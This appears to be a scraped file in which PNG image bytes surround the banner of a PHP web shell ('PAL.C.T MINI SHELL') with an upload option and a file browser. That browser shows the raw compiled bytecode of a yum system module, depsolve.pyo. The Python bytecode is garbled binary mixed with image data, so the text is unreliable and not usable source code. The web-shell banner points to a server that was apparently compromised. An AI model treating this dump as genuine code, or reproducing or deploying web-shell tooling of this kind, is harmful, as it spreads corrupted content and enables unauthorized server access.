php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/site-packages/yum/
upload
files >> //usr/lib/python2.6/site-packages/yum/depsolve.pyo

[c@sdZddkZddkZddkZddkZddkZddkl	Z	l
Z
ddkZddklZl
Z
ddklZddkZddklZddkTddklZddkZddkZddkZddkZeid	eidd
klZlZyWndZdZnXhei d
6ei!ei Bd6ei"d6ei"ei!Bd6ei!d6de#6Z$de%fdYZ&de%fdYZ'de%fdYZ(de%fdYZ)dS(s'
Dependency resolution module for yum.
iN(tarchDifferencetcanCoinstall(tuniquetversion_tuple_to_string(tTransactionMember(tListPackageSack(t*(t
PackageEVRtignore(t_t_rpm_ver_atleastcGs,x%|D]}||jo
|}qqW|S(N((txtargsty((s0/usr/lib/python2.6/site-packages/yum/depsolve.pytmin0s

cGs,x%|D]}||jo
|}qqW|S(N((RRR
((s0/usr/lib/python2.6/site-packages/yum/depsolve.pytmax4s

tGTtGEtLTtLEtEQitDepsolvecBs^eZdZdZdZedZedZdZdZ	dZ
dZd	Zd
Z
ddd
ZdZdZedZdZdZdZdZdZdZdZdZdZdZeedZdZedZ dZ!dZ"d Z#d!Z$d"Z%e%Z&d$d#Z(RS(%s%
    Dependency resolving class.
    cCspd|_d|_d|_tid|_tid|_g|_g|_	d|_
d|_t|_
dS(Nsyum.Depsolvesyum.verbose.Depsolve(tNonet_tst_tsInfot
dsCallbacktloggingt	getLoggertloggertverbose_loggertpathtloopstinstalledFileRequirestinstalledUnresolvedFileRequirestFalset_missing_requires(tself((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt__init__Es							cCs)titdtidd|iS(Ns5doTsSetup() will go away in a future version of Yum.
t
stackleveli(twarningstwarnR	tErrorstYumFutureDeprecationWarningt_getTs(R$((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt	doTsSetupSscCs|idjoM|idjo=|o0|iidjo|ii|i|indS|iipti	t
dn|i||idS(ssetup all the transaction set storage items we'll need
           This can't happen in __init__ b/c we don't know our installroot
           yetNs4Setting up TransactionSets before config class is up(
RRRtpkgSacktsetDatabasestrpmdbtconftinstallrootR)tYumBaseErrorR	t
_getTsInfotinitActionTs(R$tremove_only((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyR+Xs 

cCs|idjo|i|_|od}d}nd}|i}|ii|i|||ii|i_|i|i_	|i
|i_|i|i_
n|iS(s remove_only param. says if we are going to do _only_ remove(s) in
            the transaction. If so we don't need to setup the remote repos. N(RRt_transactionDataFactoryt	_getSacksR.R/R0tinstallonlypkgstinstalltinstall_methodtupdatet
update_methodtremovet
remove_method(R$R5R-tpkgSackCtor((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyR3hs
	cCs
||_dS(N(R(R$tvalue((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt
_setTsInfo|scCs
d|_dS(N(RR(R$((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt
_delTsInfoscCs|ip|in|iS(N(RR4(R$((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt_getActionTss
cCstii|ii|_htid6tid6ti	d6ti
d6tid6tid6}t
tdoti|d<n|iid	xR|iiD]D}||jo|ii||q|iitd
|qWd	}x|iiD]}||O}qW|ii|dS(s)sets up the ts we'll use for all the workt	noscriptst
notriggerstnodocsttesttjustdbt	repackagetRPMTRANS_FLAG_NOCONTEXTSt
nocontextsis!Invalid tsflag in config file: %sN(trpmUtilsttransactiontTransactionWrapperR0R1RtrpmtRPMTRANS_FLAG_NOSCRIPTStRPMTRANS_FLAG_NOTRIGGERStRPMTRANS_FLAG_NODOCStRPMTRANS_FLAG_TESTtRPMTRANS_FLAG_JUSTDBtRPMTRANS_FLAG_REPACKAGEthasattrRJtsetFlagsttsflagst	addTsFlagRtcriticalR	ttsInfotprobFilterFlagst
setProbFilter(R$tts_flags_to_rpmtflagt
probfilter((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyR4s(








cCsD|iititd|t|ii|||f}|S(ssearches the packageSacks for what provides the arguments
           returns a ListPackageSack of providing packages, possibly emptysSearching pkgSack for dep: %s(Rtlogt
logginglevelstDEBUG_1R	RR-tsearchProvides(R$tnametflagstversiontdefSack((s0/usr/lib/python2.6/site-packages/yum/depsolve.pytwhatProvidess!cCsQt|ii}|i|jotSx#|iD]}||jotSq1WtS(stakes a packageObject, returns 1 or 0 depending on if the package 
           should/can be installed multiple times with different vers
           like kernels and kernel modules, for example(tsetR0R8RetTruetprovides_namesR"(R$tpotiopkgstprov((s0/usr/lib/python2.6/site-packages/yum/depsolve.pytallowedMultipleInstallss

	iicCsR|io|iinh}|iidjo|in|ox|iD]}|i}|djo
d}n|i|i||i|i	f}|i
djo
d}n|i
djo
d}nd|||f<qSWnxP|iiD]?}|i
ititd||id
joi|idf|joqn|ii}	tii|	o|ii}
n |i|i|ii}
|idjoO|i|io8|i
ititd|id|_t|_qn|ii |
|
|	f|i|i
iti!td	|i|i|ioD|i}|djo|i"o
d
}n|ii#|i|qJq|idjo|i|if|joqn|ii$|ii%|io+|i&oqn|ii#|idn|i
iti!td|iqqWdS(s7take transactionData class and populate transaction sett0itiites
Member: %stus%s converted to installsAdding Package %s in mode %stdsRemoving Package %sN(RtRr(Rs('RttransactionPopulationttsRR4tEtNtAtVtRtTypeR[t
getMembersRRaRbtDEBUG_3R	tts_statetpkgtupRmtlocalPkgtosRtexiststreturnHeaderFromPackagetdownloadHeadertreturnLocalHeaderRptDEBUG_2t
TS_INSTALLtoutput_statet
addInstallRct
downgradestpkgAddedtaddErasetidxt
downgraded_by(R$RGtkeepoldtts_elemttetepochtpkginfotmodettxmbrtrpmfilethdrt
dscb_ts_state((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt
populateTssh



-

	
	


cCsS|ipdSt|ido|ii||n|ii|i|dS(sW Call the callback for processing requires, call the nicest one
            available. Nt	procReqPo(RRVRtprocReqRe(R$Rmtniceformatneed((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt
_dscb_procReqs

cCs1g}|\}}}tii|||}|iititd|||i||y||i	i
djo|i|||\}}	n|i|||\}}	|	o$|i
i||i|dfnWnFtij
o7}
|i
i||it|
fd}d}	nX||	|fS(sprocesses a Requires dep from the resolveDeps functions, returns a tuple
           of (CheckDeps, missingdep, conflicts, errors) the last item is an array
           of error messagess%s requires: %st	installediii(RLt	miscutilst
formatRequireRRaRbRcR	Rtrepotidt_requiringFromTransactiont_requiringFromInstalledtpo_with_problemstaddt_working_poR)tDepErrortstr(R$Rmtrequirementt	errormsgstneednameRftneedversionRt	CheckDepst
missingdepRs((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt_processReqs "("cCs|t|t|fS(N(RfR(trntrftrv((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt_prco_req_nfv2req'scCs|i|d|d|dS(Niii(R(R$treq((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt
_prco_req2req+scCst|_t|ido:|ii||}|dj	o|ii||Sn|\}}}tii|||}t	d||fS(Ntformat_missing_requiress%s requires %s(
RkR#RVRRRRLRRR	(R$treqPotreqTuptmsgRt	needflagsRtui_req((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt_err_missing_requires.s	
	c$Csd}d}|ii|ito||fS|i\}}}}	}
|\}}}
tii||
|}d!}d!}g}|||
f|ijo?|i	i
tit
d|i|||
f}|g}n|iid|o:|iid|}xY|D]}|i|iqWn8|i	i
tit
d||ii|||
}x|D]}||_d|i}|i\}}}}}|i	i
tit
d||iid|d|d|d	|d
|}|d!jo2||iijo|iid|d|}n|d!jo,||iijo|iid|}n|d!jo9td|ii|||||o
d}qn|d!j	oF|}||i|||
f<|i	i
tit
d
|||PqgqgW|i	i
tit
d|||d"jo|i	i
tit
d||ii}d|i_|id|d|}||i_|ph|id|d|}|pE|i||}|i	i
tit
d||i|||Snd}n|d#joO|i	i
tit
d||id|d|}t}|p8|i||}|i	i
tit
d||n||tii|
f} xI|D]A}|it jo+|ii!d| ot}Pqt"}qqW|o@|o8|i||}|i	i
tit
d||n|p|i|||Sd}n|d$jo_|i	i
tit
d|||i#d|}x|D]}|i$d|qWd}n|d%joT|id|d|d|	d|
d|}!|ii|it}|!o|o|dit%jo1|i	i
tit
d||di&dn||i	i
tit
d|xY|di'D]J}"|t(|i)|"i*djo"t"||i|"||dfSqWt"}||fS|i	i
tit
d ||i|||S|d!jo{||	|
d!f}#|i+d!jo|i|||S|i||}|i	i
ti|d}d}|i|n||fS(&sbprocesses the dependency resolution for a dep where the requiring 
           package is installedis3Needed Require has already been looked up, cheatingRes4Needed Require is not a package name. Looking up: %ss%s.%s %s:%s-%ssPotential Provider: %starchRtvertrelcSs|iS((tobsoleted_by(R((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt<lambda>ssRts!Mode is %s for provider of %s: %ssMode for pkg providing %s: %studs"Trying to update %s to resolve depRmtrequiringPos&No update paths found for %s. Failure!itods=No update paths found for %s. Failure due to requirement: %s!trequiress+Update for %s. Doesn't fix requirement: %s!Rss/TSINFO: %s package requiring %s marked as eraseRrRgtreleases-TSINFO: Obsoleting %s with %s to resolve dep.s#TSINFO: Updating %s to resolve dep.s*Cannot find an update path for dep for: %sN(R(R(Rs(RrRt(,R[tgetMembersWithStateRtTS_REMOVE_STATESRLRRRt
cheaterlookupRRaRbRR	R/tcontainst
matchNaevrtappendRmtgetProvidesRtgetModeR0t
exactarchlisttfiltert	obsoletesR;RRR"tstringToVersionRtTS_INSTALL_STATESt	checkPrcoRkR=tsetAsDeptTS_OBSOLETEDRt
updated_bytmapRt
returnPrcoR-($R$RRt	errorlistt	checkdepsRReRRRRRRRRtneedmodetneedpot	providerst
cheater_pottxmbrsRtinst_potinst_strti_nti_ati_eti_vti_rtthismodetorigobsRtfixedt
req_lookupt
newupdatestpkgtreqpkg((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyR9s
	
  
	"

	



&&




!	"&
cCs|idjotS|djo
d}nt|tititifjoti	i
|\}}}n3t|titifjo|\}}}n|i}|i
d|||||ffo!|iitd||tStS(Nitprovidess"Quick matched %s to require for %s(t	_last_reqRR"ttypettypest
StringTypetNoneTypetUnicodeTypeRLRRt	TupleTypetListTypeRRtdebugR	Rk(R$ReRfRgtr_etr_vtr_rRm((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt_quickWhatProvidess

%	%c%Cs|i\}}}}}|\}	}
}d}d}
h}|i|	|
|o||
fS|i|	|
|}x|iD]}|iid|o3|iiti	t
d||i|q|ng}|i|pW|i
id|i}x|D]}t|i|iip|ii|o:t
d|}|iiti	||i|qq|ii|o#|i|igi|iqqqW|iid|i}xs|D]g}|i|oQt|i|io:t
d|}|iiti	||i|qqqWq|q|Wt|djo0d}
|i||}|i|||
fSx|iD]}|i\}}}}}|i
id|d|d	|d
|d|}|djo3|iiti	t
d|||_||
fSqWg}x|iD]}|id|d|id	|id|id|i }|i!|x8|D]0}||ijot"}||_||
fSq~Wq.W|i}t|djo|d} n'|i#||d|	}!|!dd} |iid| o6d}
d}|i||}|i|||
fS|iid| id| i}"t|"djoe|ii$t
d| |f|i
i%| |"d}|i&d|d|_'t"}| |_n|ii$t
d| |t(i)|	t*|
|}#|i+| d|#}$xa|$D]Y}|i&d|d|_'|i|_|i|jot,|i
i-||iqCqCW|$p/d}
d}|i||}|i|nd}||
fS(skprocesses the dependency resolution for a dep where requiring 
           package is in the transaction setiRmsB%s is in providing packages but it is already installed, removing.Res8Potential resolving package %s has newer instance in ts.s<Potential resolving package %s has newer instance installed.iRRRRRrRts#%s already in ts, skipping this oneRRgRs#TSINFO: Marking %s as update for %stdeps$TSINFO: Marking %s as install for %stprovides_for(RrRt(.RRRitreturnPackagesR/RRRaRbRR	t
delPackageRpR[RReRRRmtverGTtverLTt
setdefaultRtsearchNevratlenRRRtreturnNewestByNameR;RRgRtextendRkt_compare_providersRt	addUpdateRtreasontmisctstring_to_prco_tupleRR9RR=(%R$RRRReRRRgRRRRRRtupgradedtprovSackRttspkgsttspkgRtdbpkgstdbpkgtntaRstvtrtpkgmodetresultsttresultsRtpkgstbestt
pkgresultstinsttreqtupleR((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyRs


+'


-
	
	
	
!	
	"cCsS|ipdSt|ido|ii||n|ii|i|dS(sW Call the callback for processing requires, call the nicest one
            available. NtprocConflictPo(RRVR"tprocConflictRe(R$RmR((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt_dscb_procConflicts

cCs:t}g}|\}}}|i\}	}
}}}
tii|||}|i||t|i}|ti	@oW|i
d|i|ii|it
}t|i|jo|o||fSnc|ti@oT|i
d|	|ii|it
}t|i|jo|o||fSn|i
d|i|ii|it
}t|i|jo|o||fS|i
d|	|ii|it
}t|i|jo|o||fSd|	t|f}|i||iiti|t}|ii|||df||fS(s6processes a Conflict dep from the resolveDeps() methodRes%s conflicts with %si(RkRRLRRR$RR[ROt
RPMSENSE_LESSR;ReRRtRPMSENSE_GREATERRRRRaRbRcR"RR(R$Rmtconflicttconflicting_poRRRRfRReRRRRRtlengthRR((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt_processConflicts>
cCs9x2|iD]'}|io|ii|iq
q
WdS(N(R[tisDepR=R(R$R((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt_undoDepInstallss

cCsd}ddk}ddk}|i|}|i|i}|idGH|ii|}|i|i	dd|i
d|S(Nsanaconda.prof.0isdone running depcheckttimetcallsi(thotshott
hotshot.statstProfiletruncalltresolveDepstclosetstatstloadt
strip_dirst
sort_statstprint_stats(R$tfnR/tproftrcR5((s0/usr/lib/python2.6/site-packages/yum/depsolve.pytprof_resolveDepss


cCsddk}ddk}|i}|i|i}|iddGH|id}|i|id|i	d|S(Nityumprofsdone running depcheckR-i(
tcProfiletpstatsR1R2R3t
dump_statstStatsR7R8R9(R$R?R@R;R<tp((s0/usr/lib/python2.6/site-packages/yum/depsolve.pytcprof_resolveDepss



c
Cst|ipdtdgfSt|_d|_d|_|iidt	t
}|}|}d}g}|io|iind}x&t
o||i
ipdjodtdgt|fS|d7}t
}x_|oWh|_|io|iin|i|\}}	}
}||	O}||
O}qWd|_|ot	}xI|iD];\}}
|i||
\}}}||O}||7}qkW|o>|io|iin|iititdqqnd|_|ot	}xI|iD];}|i|\}}||O}||7}|oPqqWx|iiddtD]}x|iiD]}x|ii d	|D]}|i!tjoqn|ii"|igo|ii"|igoqn|ii#|i$|i%ph}|i&|i$dt
}d|_|i'i(|i|i)i(|i$qqWqWqnW|o>|io|iin|iititdqqnPqWxr|ii*D]a}|i+|ioH|i,d
jo8|iiti-td|id|_,t.|_!qqW|ioC|i
i/p|ii0q|o|o|ii0qn|iititd
t	|i_1t|djot|}t}x|iD]\}}}||f|joqn|i2||f|iiti3d||i4f|i5dd}|iiti3d|qWd|fSt|ipdtdgfSdtdgfS(NisSuccess - empty transactionthardiisDepsolving loop limit reached.sRestarting Loopt
output_statesReRts%s converted to installRrsDependency Process endings.SKIPBROKEN: %s from %s has depsolving problemss
s
  --> sSKIPBROKEN:  --> %sisSuccess - deps resolved(6RR[R	RjRRRRt
resetResolvedR"RkRtstartR0tdepsolve_loop_limitRRttscheckt_resolveRequirest_checkFileRequiresRtrestartLoopRRaRbRct_checkConflictsR*RRRmtobsoletes_namesRRtobsoletedByR=RR tpopR-RtupR~RpRRRtskip_brokentendtchangedRtDEBUG_4trepoidtreplace(R$t
full_checktskipping_brokenRtCheckRemovest
CheckInstallsRterrorstdepsolve_loop_countt
checkinstallstcheckremovestmissingRmRtcheckdepRR'Rtobs_ntotxmbrtifrtdonetwpoterr((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyR3s		

	

	


	


	
	#
	
	

	
cCst}t}t}t}xU|iiD]D}|io|io|i}|io
d}n|djo|io
d}n|djo2|itjo
d}q|i	p
d}qn|ii
|i|n|ii
titd|f|i	o"|io|idd|_n
|i|_|itj|iidjjo|i|}t}n|i|}t}t}	x|D]\}
}|iob|i|
|}|ii
ti||i||ii|
|i|dfd	}	qn|i|
|\}
}}||
O}||7}|	|O}	qW|	p|ii |n||	O}q(W||||fS(
NRuRtRtoRrsChecking deps for %siii(!R"R[tgetUnresolvedMembersRRRt	reinstallRt
TS_OBSOLETINGtupdatesRRRRaRbRR	t	relatedtoRRmRtstateRt
_checkInstallRkt_checkRemoveRRRRRRtmarkAsResolved(R$R]tany_missingRR\R[RRt	thisneedstmissing_in_pkgRmRRRbRaR((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyRKhs\	





"


 

cCshdd6dd6dd6dd6d	d
6dd6}|i|dd}d
}|d
ido2|d
idp|d
ido
d}n||fS(s8 Get a sort key for a package requires from most "narrow" to least,
            this tries to ensure that if we have two reqs like
            "libfoo = 1.2.3-4" and "foo-api" (which is also provided by
            libxyz-foo) that we'll get just libfoo.
            There are other similar cases this "handles".iRiRiRiRiRici
itlibs()s	()(64bit)N(Rtgett
startswithtendswith(Rtmappert	flagscoret	namescore((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt
_sort_req_keys0
(
c
	Cs|iid}g}|iip.x+|iD]}|i|idq/Wnt|}g}x2t|d|iD]}|di	doq{n||joq{n|i
iti
td|||ii|}|o=|iid|o&|i|i|i|fq{nxj|D]b}|i|ijoq0nx?|iid|id	tD]}	|	ii|id
fqoWq0Wq{W|S(NRtstrong_requirestkeyisrpmlib(s%looking for %s as a requirement of %sRRRFt	dependson(RmRR0trecheck_installed_requiresRmR
RjtsortedR}RxRRaRbRR	R[RtinPrcoRangeRRReRRRRn(
R$Rt
txmbr_reqstoldreqstoldpotretRtprovsRmtmember((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyRps8


"%cCs"|i}|id}h}x6|i|iD]$}x|iD]}d||<q?Wq/Wg}x|D]}|didoqdn||joqdnx~|ii|iD]d\}	}
|i	i
of|io\|it
joL|i}|o$t|do|i|	|
n|ii|igSx|
D]}t}
x/|iD]$}|id|ot}
PqNqNW|
oq8nx/|iD]$}|id|ot}
PqqW|
oq8n|\}}}|ii|||p&|i|	|i|||fq8q8WqWqdW|S(NRiisrpmlib(tgroupRemoveReq(RmRRRRRxR[tgetRequirest	iteritemsR0tgroupremove_leaf_onlytgroupsRtTS_ERASERRVRR=RR"RRkRRR(R$RRmRt
newpoprovstnewpoRCRRoRthitstcbthittfoundRRR((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyRqsZ	

	
	
	2cCsEt}t}h}g}|idjo%|ii\|_|_|_ng}x~|iiD]m\}}|ii	|dt
o|i|qi|i|x'|D]}|i
|gi|qWqiWx|D]}|i|=qW||i8}x&|ii	dtD]}	x|	iiD]\}
}}|
ido|	ii}
|ii
|
gi|
|
|ijoSt}x8|	iD]-}|id|
ddfot}PqqW|oq+qn|
|jo|i|
n|i|
|i
|
gi|	iiq+q+WqWg}x|iD]y}g}xB|i|D]3}|ii	|dt
oqUn|i|qUW|p|i|q;n||i|<q;Wx|D]}|i|=qW|i}x@|D]8}||ijoqn|ii|}|o>|i
|gig}|D]}||iq6~qn|ii|}|o>|i
|gig}|D]}||iq~qnxj||D]^}|ii	|t}|o|di}n|i|}|i||ddffqWqW|ii|i|i|i||S(NRFt/Rit(NNN(RjR RR/tfileRequiresDataR!tinstalledFileProvidersRRRRRR;RRRmRRxRR"RmRRkRR[tgetOldProvidesR
tgetNewProvidestgetInstalledPackageObjectttransactionCacheFileRequires(R$tfileRequirest
nfileRequirest
reverselookupRttodelRtfilestfilenameRReR_tevrtpttalready_brokenRtfnamet
niFP_fnametiFPtoprovt_[1]Rmtnprovt_[2]((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyRL s		%
!


	

+

	77$c
Cs?g}g}x	|iiD]}|ii|idtoqn|id}|pqn|i|x|D]}|\}}}x|ii|||D]h}	|	id|idjo"|	id|idjoqn|i||i	||||	fqWqvWqWx|iidt
D]}
|
i}t}x|
iidD]}|p|i|
it
}n|\}}}x|ii|||D]h}	|	id|idjo"|	id|idjoqn|i||i	||||	fqWqVWq.Wtdo|S|ii||S(NRFt	conflictsiiii	(ii	i(R/treturnConflictPackagesR[RRRRRRRRRmR"RkRR
t transactionCacheConflictPackages(R$RtcpkgsRmRR'RtfRR(RRf((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyRNsN
6	
6
cCsr|iid|}x#|D]}|itjotSqWt|djotS|iid|ptStS(NRei(	R[RRRRkRR"R/R(R$tpkgnametlstR((s0/usr/lib/python2.6/site-packages/yum/depsolve.pytisPackageInstalleds	csiititdt|dd}d}fd}d}h}xL|D]D}	|	i|jo!||	ii|	ijoq`n|	||	i<q`W|i}h}
x|D]}	d|
|	<qWi	i
dd	|
d
|x|
iD]}	ii
d|	i}|ot|d}|i|	o|
|	cd
7<q|i|	o|
|	cd7<q|i|	o|
|	cd8<qqqW|
i}h}
x|D]}x|D]}||joqn|i|
jo$ii|id |
|i<n|
|ip|i|
|ido|
|cd8<nt}|i|go@t}|
|cd8<iititd||fn|o|iiif}niif}x{|D]s}||||}|pqniititd||||f||jo|
|cd
7<qqWqW|||o:iititd||f|
|cd7<ni|io=iititd|i|f|
|cd
7<n|og||i|i}|djoAiititd|||f|
|c|d7<qlqqW|d j	o3t|
i}hxW|D]O}|
||joqn|||}|d johPn||<qWtdjoiititdt|tdfd}xft|D]T}||djoPniititd||
|cd7<qPWqnt|
i}h}x0|D](}|
||joqnd||<qWt|djox9|D]1}t |}i!|}t|||<qWt"|i}iititd|x|D]{}|||jo4iititd||
|cd7<q||}iititd||fqWnt|
i}xS|D]K}|
||joqn|
|cd7<|
|ct|id7<qWt|
i#dddt}iititdt||S(!sotake the list of pkgs and score them based on the requesting package
           return a dictionary of po=scores"Running compare_providers() for %sicSsbtt|t|}x7t|D])}||||jot||Sq(Wt||S(N(RRtrangeR(RR
tminlentnumtoff((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt_common_prefix_lens
cSs:t|dptSt|dptS|i|ijS(Nt	sourcerpm(RVR"R(RR
((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt_common_sourcerpms
cst||i}iio6|djo%iititd||Snt||i}|djo2||jo%iititd||S||jodS|S(Nisbetter arch in po %s(	RRtmultilibRRaRbRVR	R(RR
treq_compare_archtx_distty_dist(R$(s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt_compare_arch_distances

	
c	Ssd}x|iD]u}|\}}\}}}||joqn|djoqn|dj	odS|pd||pdf}qW|S(s) This converts a package into a specific version tuple for the
            required provide. The provide _must_ be '=' and epoch=None and
            release=None == '0'.
               If there is 0 or 2+ matches, return None.
               If the req does not == the provide name, return None. RRqN(RR(	RtprovnameRRoRRRsRR((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt_pkg2prov_versions



!itcompare_providerstproviders_dicttreqpoReiiiiis%s obsoletes %ss-archdist compared %s to %s on %s
  Winner: %sscommon sourcerpm %s and %sis#base package %s is installed for %ss%common prefix of %s between %s and %ssprovides vercmp: %sRcst|S((R(R(t
prov_depsolve(s0/usr/lib/python2.6/site-packages/yum/depsolve.pyRss Winner: %ssrequires minimal: %ds Loser(with %d): %scSs|d|dfS(ii((R((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyRstreversesBest Order: %sN($RRaRbRVR	RRRtvaluestpluginstruntkeysR/RReRRtverEQRR-R	R"RPRkRtbestarchRtbase_package_nameRRRtreversedRRpRtitems(R$RRRRRRRtunique_nevra_pkgsRRt	rpmdbpkgstnewesttlposRmtnextpot	obsoletedtarchestthisarchtrestcpltbestnumRtwinnertrec_depsolvet
fake_txmbrtreqsRt	bestorder((R$Rs0/usr/lib/python2.6/site-packages/yum/depsolve.pyRs		

$+

 

	

!N()t__name__t
__module__t__doc__R%R,R"R+R3RARBRCR4RiRpRRRtstaticmethodRRRRRRR$R*R,R=RDRkR3RKR}RpRqRLRNRt_isPackageInstalledRR(((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyR?sF									>		#							)		
	
	>	(	5	k	%	tDepCheckcBs)eZdZdZdZdZRS(sobject that YumDepsolver uses to see what things are needed to close
       the transaction set. attributes: requires, conflicts are a list of 
       requires are conflicts in the current transaction set. Each item in the
       lists are a requires or conflicts objectcCsg|_g|_dS(N(RR(R$((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyR%s	cCs#t||}|ii|dS(N(tRequiresRR(R$Rmtreq_tuple_listtreqobj((s0/usr/lib/python2.6/site-packages/yum/depsolve.pytaddRequiresscCs#t||}|ii|dS(N(t	ConflictsRR(R$tconflict_po_listt
conflict_itemtconfobj((s0/usr/lib/python2.6/site-packages/yum/depsolve.pytaddConflictss(RRRR%RR(((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyRs		RcBseZdZdZRS(sY
    A pure data class for holding a package and the list of things it
    requires.
    cCs||_||_dS(N(RR(R$RR((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyR%s	(RRRR%(((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyRsRcBseZdZdZRS(sZ
    A pure data class for holding a package and the list of things it
    conflicts.
    cCs||_||_dS(N(tpkglistR'(R$RR'((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyR%s	(RRRR%(((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyRs(*Rtos.pathRRRtrpmUtils.transactionRLtrpmUtils.miscutilst
rpmUtils.archRRRRRttransactioninfoRROtpackageSackRt	constantstpackagesRRbR)R'tsimplefilterR*tyumR	R
RRR&tRPMSENSE_EQUALR%RRftobjectRRRR(((s0/usr/lib/python2.6/site-packages/yum/depsolve.pyt<module>sN
	





y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`